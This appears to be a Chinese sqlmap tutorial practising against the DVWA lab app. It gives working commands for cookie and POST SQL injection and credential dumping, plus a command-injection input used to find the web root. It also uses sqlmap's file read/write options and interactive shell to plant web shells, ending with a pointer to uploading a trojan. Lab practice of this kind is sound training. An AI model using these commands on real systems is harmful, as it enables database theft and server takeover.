目录
利用sqlmap进行需要登录的注入
利用sqlmap进行POST注入
利用sqlmap进行文件读写
利用sqlmap辅助手工注入
利用sqlmap交互式写shell
利用sqlmap进行需要登录的注入
sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,错误回显注入,联合查询注入,堆查询注入等。
打开 dvwa,输入用户名:admin 密码:password,登录

选择Setup,然后点击Create/Reset Database

找到并打开SQL Injection

设置代理

地址:127.0.0.1 端口:8080 注意:端口要和burpsuite端口一致。
打开burpsuite,选择proxy,当intercept is on时表示burpsuite截断功能开启

随便提交一个数(如:1),然后点击submit

复制截取到的Cookie数据,然后关闭burp,关闭IE代理

cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie”


列出当前数据库
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” --current-db


指定数据库猜表
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 --tables


猜字段
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 --columns


猜解字段内容
Cookie注入命令:sqlmap.py -u 注入点 --cookie=”获取的cookie” -D 数据库 -T 表名 -C 列名 --dump


这样就得到了users表中的用户名和密码了。
利用sqlmap进行POST注入
POST注入也属于SQL注入,所以究其原因还是由于参数没有过滤导致的。源码如下:

打开dvwa,输入用户名:admin 密码:password,登录
选择Brute Force选项,username和password随便输入,然后打开burpsuite,设置好本地代理(忘记的可看上面),进行抓包


将抓到的包保存为1.txt,并放到c盘根目录下。
列数据库,输入命令:sqlmap.py -r c:1.txt -p username --dbs
-r表示加载一个文件,-p指定参数

选择一个数据库,比如选mysql,
猜表,输入命令:sqlmap.py -r c:1.txt-p username -D mysql --tables

猜列,输入命令:sqlmap.py -r c:1.txt-p username -D mysql -T user --columns

猜数据,输入命令: sqlmap.py -r c:1.txt -p username -D mysql -T user -C “User,Password” --dump

利用sqlmap进行文件读写
打开dvwa,输入用户名:admin 密码:password,登录
找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie

选择Command Execution,并输入:10.1.1.136 & pwd来获得一个绝对路径,
/opt/lampp/htdocs/vulnerabilities/exec

输入:sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini
成功读取了php.ini文件,并返回了路径。


将本地C:1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt
输入:sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

执行结果
打开http://10.1.1.136/vulnerabilities/exec/1.txt如下图

利用sqlmap辅助手工注入
打开dvwa,输入用户名:admin 密码:password,登录
找到并打开SQL Injection,随便提交一个数,打开burpsuite抓包,然后点击submit,获取cookie
使用内置函数获取用户名,版本,数据库名等信息


得到数据库名为dvwa,接下来猜表


返回1,说明存在users表,然后开始猜列


没有返回,说明不存在username列,将username改为user,返回1


得到了列名,现在我们来猜内容


借助sqlmap选项--sql-query结合手工注入语句就得到了user表中的用户信息。
利用sqlmap交互式写shell
打开dvwa,输入用户名:admin 密码:password,登录
选择Command Execution,并输入:10.1.1.136 & pwd来获得一个绝对路径
/opt/lampp/htdocs/vulnerabilities/exec
选择SQL Injection,输入一个数,使用burpsuite进行抓包,获取cookie

判断用户是否为dba,输入命令


接下来使用sqlmap进行交互式写shell

脚本类型为PHP,所以输入4

选择2,输入第二步得到的路径

成功写入2个shell,一个用来执行命令的,另一个是用来上传的,打开链接:http://10.1.1.136/vulnerabilities/exec/tmpugbxb.php


接下来就是上传木马了。或者直接执行linux命令

最后
以上就是知性草丛最近收集整理的关于注入工具使用-sqlmap利用sqlmap进行需要登录的注入利用sqlmap进行POST注入利用sqlmap进行文件读写利用sqlmap辅助手工注入利用sqlmap交互式写shell的全部内容,更多相关注入工具使用-sqlmap利用sqlmap进行需要登录内容请搜索靠谱客的其他文章。
发表评论 取消回复